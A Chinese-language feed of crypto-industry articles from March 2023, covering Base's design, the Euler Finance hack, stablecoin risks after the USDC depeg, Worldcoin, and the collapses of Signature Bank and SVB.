二Base系统中的无需许可涉及到的角色 Coinbase表示Base这个第二层扩展系统对用户而言将是无需许可的。 在这里，Fairyproof技术团队所理解的用户是指在Base上部署项目的项目团队和与这些项目进行交互的用户。对这些用户而言，他们是可以无需许可地进行他们的上述活动的。 但Base本身作为第二层扩展系统，系统本身也有一些角色是需要参与者的，这些参与者主要起到维护系统安全、保证系统正常运作。在以太坊主网，这类参与者最典型的就是验证者（Validator），而在第二层扩展中，这类参与者最典型的就是负责交易排序的排序器（sequencer）以及负责验证状态的验证者（Attestor）。 那是否所有人都可以无需许可地作为排序器和状态验证者呢？Fairyproof团队认为在目前的Base方案中，尚不具备此条件。较大可能目前仍然会使用经过认证指派的排序器和状态验证者。 三Base系统对以太坊虚拟机（EVM）以及账户抽象的支持和实现方式 官方文档提到Base是完全兼容以太坊虚拟机（EVM）的。所谓兼容以太坊虚拟机意味着以太坊上可以运行的所有程序可直接或仅作细微修改即可在Base上运行。这一点继承了Optimism或者说OP Rollup技术流派的特点，很便于现在运行在以太坊上的各类项目方直接迁移他们的项目进入Base生态。 Coinbase团队在这里点出了Base对账户抽象的支持，但并没有对此给出详细的细节。 对此，我们的推测如下： 目前以太坊标准体系（EIP）中，对账户抽象的实现给出了多种方案，比较典型的有EIP-2938[4]、EIP-4337[5]。然而EIP-2938涉及到对以太坊共识层的修改，而EIP-4337则只需要在智能合约层面实现即可。显然在智能合约层面实现对账户抽象的支持是最便捷、高效的方案。 此外，另一个知名的第二层扩展系统zkSync[6]也在其目前的版本中实现了对账户抽象的支持，并且在其官方文档[7]中明白指出其实现方案非常类似EIP-4337。 因此，我们认为Base对账户抽象的实现较大概率是基于EIP-4337的实现方案。 四Base对跨链的支持 官方文档提到Base不仅连结以太坊，而且连结其它的二层扩展方案甚至其它的区块链主网（Layer 1）如Solana等。 这意味Base将具备各类跨链功能。这些跨链所涵盖的范围将不仅限于目前比较流行的区块链主链之间的跨链，还将包括暂未大规模实现及推广的以太坊第二层扩展系统之间的跨链。 关于区块链主链之间的跨链，目前OP Stack公开的官方文档似乎并没有提供太多的细节，或许这部分内容目前暂不方便公开。因此我们认为Base提到的区块链主链跨链这个功能要么是基于OP Stack暂未公开的内容，要么是Base自行待开发的功能。 而关于第二层扩展之间的跨链，我们认为可以分为三类：Optimistic Rollup系统之间的相互跨链、ZK Rollup系统之间的相互跨链、Optimistic Rollup和ZK Rollup之间的跨链。 目前关于ZK Rollup系统之间的跨链以及OP Rollup和ZK Rollup之间的跨链很少有团队提出相应的解决方案。而对OP Rollup之间的跨链，OP Stack的公开文档提到未来基于Superchain架构实现的第二层扩展系统之间是可以实现便利的跨链的。 因此我们认为Base系统提到要实现的第二层扩展系统之间的跨链目前是指基于Superchain架构实现的第二层扩展系统之间的跨链。这是最容易实现也最快能实现的功能。 五Base的去中心化及实现方式 官方文档提到Base将是去中心化的，但是会分阶段执行。 根据OP Stack的官方文档，目前实现的第二层扩展系统方案中，Sequencer是用中心化方式指定的。OP Stack也提到未来会将Sequencer的指定机制去中心化（比如采用轮询方式）。 我们认为这也是Base进化的方向，会将目前OP Stack中参与系统维护的中心化参与者（比如Sequencer、Attestor等）逐步去中心化。当这些参与者逐渐去中心化之后，意味着一个角色有多个候选人有资格参与。而这些参与者要参与活动，按照一般POS机制的规律，他们将需要抵押代币。 在当下的以太坊生态和Optimism生态中，在以太坊主网层面作为抵押的资产是ETH，在Optimism层面作为抵押的资产是OP代币。 那Base系统可能抵押的加密资产是什么呢？ Coinbase表示不会为Base发行代币，因此我们根据以太坊主网和Optimism系统的抵押资产判断，在Base系统中未来当实现进一步去中心化后参与者需要抵押的加密资产较大可能是ETH或OP代币。 综上所述，我们认为基于OP Stack的Base系统在可扩展性方面具备了良好的潜质，未来如果能在交易排序和状态验证方面引入进一步的去中心化机制规避系统的单点故障问题、使用多签钱包或MPC技术管理安全委员会的权限以保障权限安全，将使得这个系统在技术和运作上更加安全、可靠、可信。 参考文献： [1] Introducing Base, https://www.coinbase.com/blog/introducing-base [2] Optimism, https://www.optimism.io/ [3] Welcome to the OP Stack, https://stack.optimism.io/ [4] EIP-2938, https://eips.ethereum.org/EIPS/eip-2938 [5] EIP-4337, https://eips.ethereum.org/EIPS/eip-4337 [6] zkSync, https://zksync.io/ [7] Account Abstraction Support, https://era.zksync.io/docs/dev/developer-guides/aa.html#prerequisites  ( 5 min )
    比特丛林：Euler Finance 因新增功能存在漏洞，被盗近2亿美金
    2023年3月13日，Euler Finance因为donateToReserves方法存在缺少资金风险检查漏洞资金池遭遇闪电贷攻击，损失近两亿美元目前被盗资金仍在黑客地址0xb66cd966670d962c227b3eaba30a872dbfb995db. 部分Euler受害者已主动联系比特丛林，双方正在对委托合作细节进行沟通和确认。比特丛林将会从区块链溯源的角度去支持Euler项目方和受害者争取早日追回被盗的数字资产。如果有需要请联系比特丛林，官方推特@bitjungle_team 或联系官方邮箱bitjungle@163.com 攻击原因： Euler平台使用户能够通过铸造 EToken 并直接使用铸造的 EToken 作为抵押品来增加债务。即使用户账户中没有剩余流动性，用户仍然可以加杠杆。 通常情况下，在Euler平台的合约中，通过checkLiquidity方法验证用户资金风险，以决定是否继续执行操作。 2022年7月份的85abe8d0986f97557159d26c5e79df6d78eccc53更新中EToken.sol合约添加了donateToReserves的方法，允许用户将平台的eToken转赠给其他用户，但是该donateToReserves方法缺乏checkLiquidity的资金风险检查，导致有风险的资金也可以被转赠给其他人。 攻击过程： 01-攻击者先通过闪电贷借入大笔资金 02-通过Euler的自我借贷功能借入更大笔的资金 03-通过调用donateToReserves将资金转移 04-清算账户并归还闪电贷 资金流向  ( 4 min )
    ABCDE投研合伙人：反思“USDC脱锚风波”，谈谈我眼中真正的“稳定币三杰”
    来源：推特 作者：ABCDE投研合伙人老白 最近硅谷银行和USDC短暂脱锚的事情占据了所有人的视线，本来Luna崩盘之后大家都已经“安于”USDT和USDC这种法币背书型稳定币了，这么一搞，业界对于Crypto Native稳定币的呼声与需求又开始抬头。 简单说说我个人对当前几个Native稳定币的看法以及对未来Native稳定币的展望： Luna崩盘之后Native 稳定币基本就靠这俩在撑着，DAI市值60亿，Frax 10亿 MakerDAO属于当时被ETH孱弱的性能+312崩盘吓怕了，DAI在那之后慢慢不再由ETH主支持，而是由USDC主支持，“纯净版”的MakerDAO其实是Liquity在做了（最近FOMO的厉害，然而LUSD的市值依旧是2亿，依旧是没啥人用） Frax稳定币起家，结果反而是DEFI矩阵和Curve War玩的贼六，最近LSD的尝试也非常成功，不过根基Frax和DAI都面临类似相对尴尬的境地，就是应用场景过少，说白了就是除了自家DAPP，基本没啥地方可用。经常玩Defi和做流动性的都知道，这个圈子里面，USDC是绝对的王，USDT用的都很少，虽然他在CEX那边是老大 MakerDAO过去两年一直有“不思进取”的Feel，最近也终于开始折腾事情，弄了个Endgame，还Fork了AAVE V3做了个Spark借贷平台以及MetaDAO，希望2年之后的牛市能够看到DAI有更多的使用场景 至于Frax，说实话我也不知道怎么去“破圈”，也许等他的稳定币+借贷+LSD产品矩阵再扩大一些会有拓展出更多Frax的应用场景？总之个人一直的感觉就是你让我投资FXS是可以的，但你让我满手Frax我是不乐意也没有足够信心的…… 说实话其实现在做稳定币的项目依旧还是有，各种花式算法来保证Peg，但在我看来这都没意义。除了Luna这种“凭空印钱”，大家其实不怎么担心你脱锚的事，真正重要的是使用场景，不然21年的“算稳三杰”（说是算稳，其实都是抵押型的）Fei、Float、Reflexer也不会沦落到现在这个下场。 1.crvUSD - Curve做稳定币其实是最“名正言顺”的，自身是稳定币最大深度的Dex，大几十亿TVL又基本上全是蓝筹，资本效率急待释放。除此之外crvUSD的优势还有下面几个： 2.GHO - AAVE没有Curve那边Dex和贿选的优势，AAVE的优势在V3，Lens和Facilitator： 3. sUSD - 我觉得最低估的稳定币，市值只有几千万 sUSD有两个致命短板之前，一个是应用场景，一个是基于SNX本币400%的超高抵押率，资金效率极差 第一个在Atomic swap与Curve合作之后 + 最近Perp V2上线，已经比原来好很多了，尤其是利用合成资产+原子交换走Curve，接近无滑点交换，在未来的多链时代理论上大有可为，就是不知道SNX有没有这个多链野心。 LayerZero上已经看到模仿SNX这套玩法+全链部署的合成资产项目出现 第二个在即将到来的V3版本通过引入类似ETH的抵押品也马上有望解决。当我们有足够多的SUSD，足够多的合成资产，也就意味着深度足够的Curve池子，很多Swap，尤其是大额Swap，理论上就都可以是零滑点的，对Curve也顺道是一个利好 其实如果你一直追Arthur文章的话，你应该知道，他的这个Idea其实去年就写过，只不过这次因为稳定币事件又拿出来重新写了下，这个思路在技术上完全可行，然而现实实现起来比较困难。（相关阅读：《Arthur Hayes：利用期现对冲，打造 “比特币保证金+反向永续合约” 为发行机制的美元稳定币》） 技术就是很简单的类似套保原理，每个NUSD由价值一美元的BTC+1比特币/美元的永续空单 这样你会发现BTC 1美元时候，NUSD是一美元，BTC跌倒0.5，空单赚五毛，NUSD还是一美元，BTC涨到2，空单亏一美元，NUSD还是一美元，怎么涨跌NUSD都是一美元 听起来是不是很美好？ 但实施起来没那么容易，最直接的问题就是，NUSD市值小的时候不难，市值到现在USDT几百亿美金体量，空单这么多，是不是就得有对应数量接近的多单啊？这对这个交易所深度和交易量的要求太高了，目前没有哪家能做到。如果出现大规模NUSD的赎回，也就意味着大规模百亿级美元的平仓，这画面想像一下，hmm… 但如果有一天BTC几百万美金一个，永续交易量媲美现在外汇交易量，这个想法感觉还是存在实施的可能性的，这也是感觉最最Crpyto Native的一个稳定币，既基于BTC，还不需要over collateralized。  ( 4 min )
    Sam Altman的加密项目Worldcoin推出其身份协议World ID和SDK
    PANews 3月14日消息，据The Block报道，OpenAI 的首席执行官 Sam Altman 共同创建的加密项目 Worldcoin 公布了其身份协议（World ID）和软件开发工具包（SDK）。新推出的 World ID 被描述为 Worldcoin 的“底层身份协议”，由零知识密码学提供支持，是一种移动工具，人们可以使用它来证明自己的真实性，而不会牺牲匿名性。Worldcoin 的虹膜扫描硬件 Orb 是用户验证的主要方法。  ( 4 min )
    全美最后一家加密友好银行Signature意外被关停，将对加密市场产生怎样的影响？
    原文：《全美最后一家加密友好银行Signature意外被监管关闭解析以及市场影响分析》 美东时间3月12日晚，美财政部宣布由纽约州金融监管局关闭Signature Bank，客户存款可在周一申请取回。这与最近其他两家倒闭的银行Silvergate Bank和Silicon Valley Bank最大相同点在于，都涉及加密市场业务。Signature Bank作为唯一暂时幸免于客户紧急挤兑导致流动性危机的银行，却遭到监管临时决定关闭，引起市场哗然。那么，究竟是什么原因导致了Signature Bank被监管叫停，对市场后续走势又是怎样，本文将会基于现已披露的信息，解析背后可能的原因与其对市场的影响。 Signature Bank（SBNY）成立于2001年，其主要业务在为高净值人群提供私人银行服务，2018年一季度开始SBNY增加了加密业务服务，为包括受监管的稳定币发行方、交易所、托管方、加密货币矿工、机构交易者等提供接入法币银行服务。根据上年年报披露，截止2022年末，总资产1103亿美元、客户存款（负债）885亿美元。 从负债端来看，2022年四季度，在FTX暴雷事件后，SBNY管理层有意降低其在加密业务上的风险敞口，主动下降业务占比，减少了123.9亿美元客户存款，最终22年Q4加密客户存款为177亿美元，占全部客户存款占比为20%。从银行资产负债表集中度分析来看，这个业务占比相对合理。从提供的业务范围来看，SBNY并没有投资、持有、或托管加密货币的业务，仅限于美元存款业务，并且可以通过SBNY内部搭建的Signet系统进行7*24的实时美元转账交易。与Silvergate Bank不同，SBNY也不提供以加密货币为抵押品的贷款业务，在业务方向上相对也是保守的。在本月初，SBNY披露的23年一季报财务数据来看，全部客户存款下降8.26亿美元，存款下降主要是由于加密资产相关客户存款减少了15.1亿美元，其他新增存款6.82亿美元。这一方面是由于加密货币市场自身波动；另一方面也是SBNY加大力度控制加密业务存款的整体占比。 从资产端来看，SBNY披露的资产充足率数据显示，核心一级资本充足率11.20%，风险资本充足率12.32%，杠杆率8.79%，满足巴塞尔协议III对银行风险资产的要求，整体资产也是处于比较健康的水平。从资产端明细来看，短期投资174亿美元，占比14.98%。极端情况下，即使全部加密存款全部申请提现，流动性也可以满足。 从业务健康程度来看，如果说Silvergate Bank是风险偏好激进的“坏学生”，那么Signature Bank可以被认为是恪守监管，看到市场风向变化及时调整业务重点的“乖学生”。 因此，如果从业务分析来看，Signature Bank并不会直接因为加密货币市场的影响导致流动性挤兑风险。然而此时，美国财政部在看到Silvergate作为最激进的加密友好银行，在加息背景下对市场带来的恶劣影响，而决定保守起见将Signature Bank关闭业务，这背后可能有两方面原因：一是，担心加密业务波动变化影响到Signature Bank其他业务客户，再继而延展到传统银行市场中，毕竟SBNY的整体业务体量不小；二是，联想到最近美国方面从国会、美联储、财政部到SEC、CFTC不断提出的对加密行业制定监管规则来看，这有可能是对已经涉及加密业务银行的惩戒，以及监管将要出台更全面审慎监管框架的一个信号，未来必然会将涉及所有加密市场本身、加密市场到传统金融市场之间传导的每个环节，出台完整、深入、合理地有力监管措施。 关于Silvergate Bank 和Silicon Valley Bank，在此前我的报告（https://twitter.com/WuWei_BeWater/status/1632417472015142912）中写到，都是在加息背景下，负债端存款不稳定，资产端长债浮亏的双重作用下导致客户不信任大量挤兑带来的流动性危机。因此，市场也有传言认为，美联储本月FOMC会议加息很有可能放缓加息，50bp的加息概率目前已下降到0，美股期货市场出现小幅上涨，叠加稳定币或法币的交易对不信任，带来加密市场同期上涨。然而，在加密监管措施仍未确定，CPI数据即将出炉的时间点来看，认为加密市场“牛回”的判断可能还为时尚早。 参考资料： Signature Bank 2022年年报：https://investor.signatureny.com/pme/press-releases/news-details/2023/Signature-Bank-Releases-2022-Form-10-K/default.aspx Signature Bank 2023年一季度报：https://investor.signatureny.com/pme/press-releases/news-details/2023/Signature-Bank-Issues-Mid-Quarter-Financial-Update-for-Its-2023-First-Quarter/default.aspx 免责声明 本文所载的全部内容仅作参考之用，不构成对任何人的投资建议。本文所载资料的来源被认为是可靠的，但不保证其准确性和完整性，也不保证所包含信息和建议不会发生任何变更，并且不对使用本文所包含的才材料产生的任何直接或间接损失或与此相关的其他任何损失承担任何责任。  ( 4 min )
    美国南达科他州州长否决禁止将加密货币用作货币的立法，并呼吁其他州阻止类似立法
    PANews 3月14日消息，据Bitcoin.com报道，美国南达科他州政府周五宣布，州长Kristi Noem否决了众议院第1193号法案，即一项禁止使用包括比特币在内的加密货币作为货币的法案。Noem在的否决信称：“该法案将侵犯数字货币的自由。” 州长在采访时解释说：“该法案长达110多页，它是作为UCC(统一商法典)指导方针的更新而提出的，得到了我们所有金融机构和银行的支持。我们看到了法案中改变货币定义的部分。从本质上讲，它所做的是为政府主导的CBDC铺平了道路，它还禁止存在任何其他形式的加密货币、比特币或数字货币。”州长强调，“这显然是对我们自由的威胁”，并指出南达科他州是第一个“真正审视该法案并找出其中内容的真相”的州。 Noem州长进一步详细说明：“其他20多个州在他们面前有相同的UCC语言。我相信这是为联邦政府控制我们的货币从而控制人民铺平道路。这应该引起所有人的警惕。如果政府的CBDC成为唯一合法的数字货币，那么政府将控制你花钱的方式，这会剥夺你所有的自由。”  ( 4 min )
    以 Frax 为例，探讨去中心化稳定币面临的挑战和风险
    原文：《The Risks of Centralized Collateralization in Decentralized Stablecoins and How to Move Forward》by francesco 编译：Biteye 核心贡献者 Crush 昨日SVB 的崩盘导致美元稳定币 (USDC) 大幅脱钩，一度跌至 0.8788 美元。 这带来了极大的连锁反应，那些理论上不应该受影响的中心化稳定币，在本次崩盘事件中都难以独善其身。 例如 Frax 的价格就跌至 0.87 美元。 Frax 的暴跌，主要原因是它将 USDC 作为抵押品。像本周这样的黑天鹅事件，对去中心化稳定币来说，可谓是一个大考验。 持有它们的意义是什么，它们仍然会受到系统性风险的影响么？ 本文以 Frax 为案例进行研究，回答以下问题：   01、没有最好，只有更好 Frax 作为第一个部分储备稳定币协议而声名鹊起，它是 开源、无需许可且完全在链上的。 Frax 的愿景是成为 DeFi 的一站式服务：一种去中心化的中央银行。作为计划的一部分，他们最近宣布将其抵押率提高到 100%，这是在 Terra 崩溃后，监管方面的担忧所导致的改变。 然而，如当前的 USDC 脱钩所示，100% 的抵押率对于 Frax 来说是不够的。真正的悬而未决的问题是应该使用哪些资产作为抵押品。 这也是 Frax 团队正在努力解决的问题。 目前，Frax 仍然依赖“代币化的法定货币”，因为大部分 Frax 的 抵押品都是由 USDC 组成的 。 Frax可以利用的资产范围实际上受到限制： 在牛市的大部分时间里， RWA 主导了稳定币扩展基础设施的叙事。前进的方式没有对错之分，这取决于协议的最终愿景。 由于 Frax 旨在成为 DeFi 的中央银行，前进的最佳方式不是“承担有风险的私营部门贷款”，而是专注于能 最大程度降低风险的资产 。 今天最像这种稳定币的是 Circle USDC ，因为它完全由短期美国国债和现金支持。 因此，Frax最初选择以 USDC 作为抵押品，因为它是“美元中最不具风险经济责任”的工具。 例如，如果 $DAI 也采用真实世界资产，如特斯拉贷款和私人公司贷款，那将比以稳定币计价的美元贷款更具风险性。 然而，由于大部分抵押品为 USDC，Frax 与中心化稳定币并没有真正去相关，也没有在市场动荡期间提供额外的保护：它的命运只与 Circle 和 USDC 相关。 当然，Sam（Frax 创始人）承认过分依赖于中心化的第三方的确会存在一定程度的外在风险， SVB 的崩盘恰巧印证了这一点，影响了 Circle 并导致了 USDC 的脱钩。 用 Sam 的话说，只应该有 1 个 RWA： 那就是在于美联储主账户（FMA）上的美元存款。每家大型银行都可以申请在美联储上直接存放美元。 Frax 解决抵押品困境的 终极之策就是开设 FMA，即在美联储主账户上存放美元。这样做将为 Frax 提供最佳的风险保障。没有什么操作比这个风险更小。 然而，正如 Sam 自己所提到的，这是一条漫长的道路，充满了假设，因此是否能够实现这一点仍然是 纯粹的猜测。 Frax 是加密行业中的一个完全链上实体。因此，与传统大银行相比，获取 FMA 的过程将更加困难。 美联储有 6 个非常严格的标准和 3 个不同的层次来评估一个实体是否可以获得 FMA。鉴于 Frax 是一种区块链协议，它将属于较高的风险等级，因此在批准之前会接受越来越多的审查。 美联储只可能向符合成员银行或存款机构、指定的金融市场实用工具、某些政府赞助的企业、美国财政部和某些正式国际组织的法定定义的合格机构授予主账户。对于符合条件的机构，申请人必须遵守相关法律和监管要求，包括支付、反洗钱、制裁和风险管理等方面的要求；处于良好的财务状况；不会对美联储或金融稳定性构成风险。 在一次采访中， Sam 提到， Frax 不想模仿Yuga Labs ，后者最近从 a16z 筹集了超过 10 亿美元。 用 Sam 的话说，这引入了“不良的激励”来奖励股权持有者，从而会危及协议的价值主张 并使 Frax 成为一个中心化公司。 另一种不同的组织方式可能是非营利基金会，类似于 Ethereum 的做法。 获得 FMA 将确保 Frax 保持去中心化并为 Frax 持有人提供价值，而不是股权持有人。 后者对于一个想要扩大其规模的 NFT 公司（ Yuga ）来说可能有效，但是对于一个旨在成为 DeFi 中央银行的去中心化公司来说，这会破坏其利益的一致性。 Sam 在 Frax 电报群组中提到了不依赖于 USDC 的第一步：Frax 可能很快开始直接购买美国国债。 1. SVB 的崩盘事件，是对整个加密生态系统的实战测试。Frax 在这场测试中证明了自己足够强大，展现了其韧性和改进抵押品的策略。 2. 这加快了寻找替代抵押品的过程，直接购买美国国债可能是朝着正确方向迈出的第一步。 3. 随着 Fraxswap 和 Fraxlend 的推出，Frax 已成为以太坊上首个提供稳定币、流动性和借贷服务的一站式 DeFi 协议。通过控制整个堆栈，Frax 进一步扩大其执行任意货币政策以支持稳定币的能力。 4. 路漫漫其修远兮，Frax 一路跋涉，历尽艰辛困苦。除了抵押品问题，在接下来的几个月中，我们将继续关注美国在稳定币监管方面的进展，这将是决定 Frax 成败的关键时刻。 5. 此外还要表扬一下 Sam 和 Frax 团队的透明度。只要你有任何疑问，提出就会得到答复。 这篇文章以 Frax 为案例，讨论了去中心化稳定币面临的挑战和风险。作为一个完全链上实体，Frax 需要依赖中心化稳定币 USDC 作为抵押品，这使得它在市场动荡期间缺乏额外的保护，并且容易受到系统性风险的影响。 但持有 USDC 还是比承担有风险的私营部门贷款（即 Maker 正在做的连接现实资产，给现实世界实体提供稳定币 DAI 的借款）更安全。 Frax 团队正在努力提高稳定币的安全性，最近宣布将其抵押率提高到 100%，并寻找更多低风险资产如美国国债作为抵押品，计划申请在美联储主账户（FMA）开立账户进行美元存款。 此外，他们还在考虑采用非营利基金会的组织方式来避免成为中心化公司。 去中心化稳定币是 DeFi 生态系统中不可或缺的一部分。尽管它们面临着许多挑战和风险，但它们也提供了一种更加透明、去中心化和开放的金融服务方式。 译者相信随着技术和监管环境的不断发展，去中心化稳定币将会越来越成熟和可靠，并在未来发挥更加重要的作用。经过此次动荡，DeFi 急需与加密原生资产连接的去中心化稳定币，来降低传统金融的影响。 也许未来的稳定币不一定锚定美元，而是 CPI 等更能反映货币政策影响的锚。  ( 5 min )
    Sei Network即将启动测试网最终版本Atlantic-2
    PANews 3月14日消息，据官方推特，Layer1公链Sei Network宣布即将启动测试网最终版本 Atlantic-2。Sei Network将该版本视为Sei在主网启动前的最后一个里程碑。 Atlantic-2将采用Sei的Twin Turbo共识、DeliverTx和Enblock并行化以及无许可部署。 其中， Twin Turbo共识具有智能区块传播（Intelligent Block Propagation）和 Optimistic区块处理（Optimistic Block Processing）的特点，使Sei能够比普通的Tendermint更快地广播和处理区块；并行化方面，Sei利用两种不同类型的并行化来进一步改善网络吞吐量和延迟性，其中DeliverTx并行化允许并行化所有类型的交易，而Endblock并行化仅适用于订单交易。  ( 4 min )
    Coinbase CEO：正在与美国CFTC合作以尽快推出衍生品平台
    PANews 3月14日消息，据Cryptoslate报道，Coinbase首席执行官Brian Armstrong在最近一期Bankless播客采访中表示，Coinbase的质押计划不是证券，因此会在法庭上为质押机制进行辩护并捍卫其权益。此外，Brian Armstrong还透露Coinbase正在考虑选择几种衍生品，该交易所此前一直在和美国商品期货交易委员会（CFTC）合作，以推动其衍生品平台尽快上线运作起来，这也将成为美国加密市场的一件大事。  ( 4 min )
    DCG：桑坦德银行、汇丰银行、德意志银行等仍愿为加密公司提供服务
    PANews 3月14日消息，据CoinDesk报道，在硅谷银行、Signature Bank (SBNY) 和 Silvergate倒闭后，Digital Currency Group（DCG）正试图为投资组合公司寻找新的银行合作伙伴。DCG代表还将于周三会见参议院银行委员会工作人员，讨论硅谷银行、Signature和Silvergate的影响。 根据该媒体看到的消息，DCG称，桑坦德银行 (SAN)、汇丰银行 (HSBA)、德意志银行 (DB)、BankProv、Bridge Bank、Mercury、Multis和Series Financial仍愿意与加密公司建立联系。根据这份名单，DCG还与贝莱德(BlackRock)、摩根大通(JPMorgan)和美国银行(Bank of America)进行了接触。 这些消息指出，银行可能会限制加密货币公司的某些服务，例如经纪和货币市场服务，以及向第三方汇款的能力。根据消息，传统银行可能愿意为加密货币公司设立银行账户，但会根据加密货币的敞口水平设置限制。尽管股价下跌，Western Alliance和Bridge Bank仍在为加密公司开设账户。DCG还与国际银行取得了联系，包括英国的Revolut、新加坡的大华银行 (UOB) 和以色列的 Bank Leumi。  ( 4 min )
    瑞士信贷称其财务报告存在重大缺陷
    PANews 3月14日消息，据环球市场播报，瑞士信贷在当天发布的2022年年度报告中表示，已在2022和2021财年的报告程序中发现了“重大缺陷”，并正在采取补救计划。在这两年里，“集团对财务报告的内部控制并不有效”。“管理层也据此得出结论，我们的披露控制和程序并不有效。”该行表示，发现的重大缺陷与未能在财务报表中设计和维持有效的风险评估有关。 瑞信原定上周发布2022年年报，但由于美国监管机构在最后一刻提出质疑，该报告被推迟了几天发布。瑞信还表示：“独立注册会计师事务所普华永道审计了本年度报告中截至2022年12月31日的财务报表，对集团截至2022年12月31日的财务报告内部控制的有效性发表了不利意见。”  ( 4 min )
    Houbi韩国更名为“High Block”，正式成为独立的韩国企业
    PANews 3月14日消息，据IT Chosun报道，Houbi韩国今日宣布更名为“High Block”，正式成为独立的韩国企业。 Houbi韩国曾在当时总部位于新加坡的Houbi Global于2017年成立韩国公司后进入韩国。Houbi韩国此前第一大股东是原Houbi Global旗下子公司火币科技（现新火科技），持有约70%的股份。Houbi韩国与其全球母公司之间的关系最近得到了彻底解决。去年12月，Houbi创始人李林卖掉了他在Houbi Global的全部股份，当时的火币科技也卖掉了他在Houbi韩国的股份。 Houbi韩国新的大股东是现有的第二大股东，韩国法人Houbi Blockchain。Houbi韩国的另一大股东是Korea Real Estate Trust，持有Houbi韩国12%的股份。据悉，Houbi韩国仅更改了名称和股东，管理团队和整体管理层不会发生重大变化。  ( 4 min )
    硅谷传奇SVB陨落，对加密市场有何影响？
    硅谷银行破产原因总结： 最近几天，美国资本市场发生了一件波及面非常广的大事件：拥有40年光辉历史，已经连续五年斩获福布斯2023年“美国最佳银行”奖的硅谷银行宣告破产倒闭。特别的是，这一事件不仅在传统金融市场中掀起轩然大波，而且由于硅谷银行特殊的发家史和江湖地位，导致与其牵连较深的金融科技、虚拟资产圈同样哀号遍野，差点带着稳定币巨头USDC一起进入死亡螺旋。虽然随着美联储和联邦存款保险公司（FDIC）的联手兜底，系统性危机已经得到解决，但我们依然可以从这起事件中获得不少启发。 今天飒姐团队就用通俗易懂的方式与大家聊聊这起破产案的始末以及后续可能对虚拟资产行业产生哪些影响。 01、SVB破产原因及事件始末 直接原因：期限错配，短债长投。 根本原因：经济下行→印钞救市→通货膨胀→美联储加息抑制通货膨胀 （一） SVB的创奇一生 要说这美国SVB（Silicon Valley Bank，以下简称“SVB”）可不是大街上籍籍无名的土鸡瓦狗。1983年的秋天，两位来自美国四大行之一富国银行（Wells Fargo）的投资客Bill Biggerstaff和Robert Medearis凭借敏锐的嗅觉注意到，生机勃勃的硅谷正在凭借得天独厚的优势汇聚着世界上最聪明、最具有创新精神的年轻人，不久的未来这里即将成为美国乃至世界上最前沿的科技高地，从而诞生出一大批顶级科技公司，这些科技公司必然有着巨大的金融需求。 于是，两人决定在这片土地上创立一个专门服务于创投圈的银行，深耕新兴科技行业，SVB应运而生。而这也是为什么SVB与虚拟资产行业牵涉极深的主要原因：不少区块链技术公司、虚拟资产项目都曾在初创期获益于SVB，并在发展成熟后选择继续与SVB深度合作。目前在虚拟资产行业的Circle、a16z、Ripple等大户都在SVB中存了不少钱，坊间传言a16z在其中的存款甚至超过30亿美元。 在“塌房”前，SVB已至少帮助过全球超过30000家的初创企业进行融资、与600家风险投资机构和120家私募股权机构有密切的业务往来，在初创企业信贷市场占有率超过50%。而随着客户数量和市场的成长，SVB的展业范围也在扩大，破产前管理的资产已经超过两千亿美元，在美国所有银行中位列43位，并连续5年获得福布斯“美国最佳银行奖”。 那么，如此一家庞然巨物是如何在短短48小时之内轰然倒塌的？ （二） 致命的期限错配和短债长投 术语虽然深奥，但概念并不复杂，我们先用通俗的语言为大家讲讲什么叫做“期限错配”和“短债长投”。 简单举例来说：小明是一个在理财方面较为保守的人，于是他选择在A银行中存入了一笔为期三年的定期存款，以获取一笔虽然不多但具有稳定预期收益的银行利息。但是，小明要赚钱，A银行也要赚钱。那么此时A银行唯一的办法就是有效的利用小明的这笔存款，创造出超过支付给小明的利息的收益，超出的部分才能成为自己的盈利。 道理大家都懂，但要怎么操作呢？一个简单有效的办法就是拿小明的资金去放贷，只要贷款利息高于存款利息，那银行自然就赚了。但是，放贷存在一个问题：当前经济形势不好，烂账坏账率高，一旦放出去的资金收不回来岂不是赔了夫人又折兵。因此，A银行想出了另一个办法：把小明的钱拿来“放长线钓大鱼”，投一些虽然回款周期长，但稳健且收益率能跑赢小明利息的产品（比如：十年期、二十年期的国债），就能做成一笔躺在钱上挣钱的好买卖。 此时，（资产端）小明的存款三年后到期，（负债端）银行投的产品要十年二十年才到期，这种资产端期限与负债端期限不匹配的情况，我们就称其为“期限错配”；小明在A银行的短期（三年）存款就是所谓的“短债”，A银行将这笔钱投资收益周期长的其他产品就是所谓的“长投”。一顿操作猛如虎，银行就是为了创造出“存贷利差”，用别人的钱赚自己的钱。 这时候可能有人有疑问：小明的存款是三年后到期，A银行投的是十年二十年才到期的产品，那要是小明存款到期来取款怎么办？要知道，那可是银行，只要每天有足够多的人来存款，用流动资金就能轻松把小明的“短债”Cover掉，根本不影响长债的未来收益，你好我好大家好。 回到SVB身上。几年前，美联储为了刺激经济，实施了很长一段时间较为宽松的货币政策，银行存款利率极低，硅谷银行乘势吸收了一大波低成本的储户存款（存款利息约为0.25%），存款期限也很短。然后硅谷银行拿着这笔钱买了非常多收益期在十年以上的美国国债（收益率约为1.6%-1.8%）赌的就是未来不会出现导致经济大缩水的全球性事件，以及美联储会在很长一段时期继续执行宽松的货币政策。如果赌赢，十多年后这笔稳赚不赔的买卖，将会让SVB吃到巨大的存贷利差。 正是这种赌徒心态奠定了SVB今天的崩盘之局。 （三） 疫情之下无赢家 SVB崩盘的根本原因其实还是疫情导致的全球经济下行。在疫情压力下，各行业受打击严重、失业率疯狂飙升，不仅美国经济缩水，众多中下层民众甚至连房都租不起。为了解决民生疾苦，美国政府不得不采取直接（印钱）发钱这种简单粗暴但有效的方式救助朝不保夕的人们。如此一来，在前期美元量化宽松政策的影响叠加之下，造就了美国几十年来罕见的超高通胀率，2022年7月的时候曾一度达到9%以上。 高通胀率+高失业率下美联储别无选择，开始疯狂加息。此外，如前所述，这家银行主要服务的对象大部分是美国的科技领域初创公司&进入成熟期的科技公司，疫情之下市场表现差，科技公司们也不再阔绰，为了经营所需开始把存款从SVB中取出来，导致了存款的大量流失，流动资金开始捉襟见肘。 此时，美联储的加息就成了压倒骆驼的稻草：储户们迫切的想要把自己的钱取出来转投到利息更高的地方去，但由于SVB大量资金用于期限错配短债长投，根本拿不出那么多的钱来兑付储户。没办法，SVB只能把以前买的长期债券等资产向外抛售，以换取流动资金来兑付给储户。但是！在美联储加息后，市场利率已经远远高于SVB当时买长期债券时的利率，你1.6、1.8的债券现在就是又臭又长，谁买？但SVB不卖又没钱兑付储户，因此只能不停地做亏本买卖。 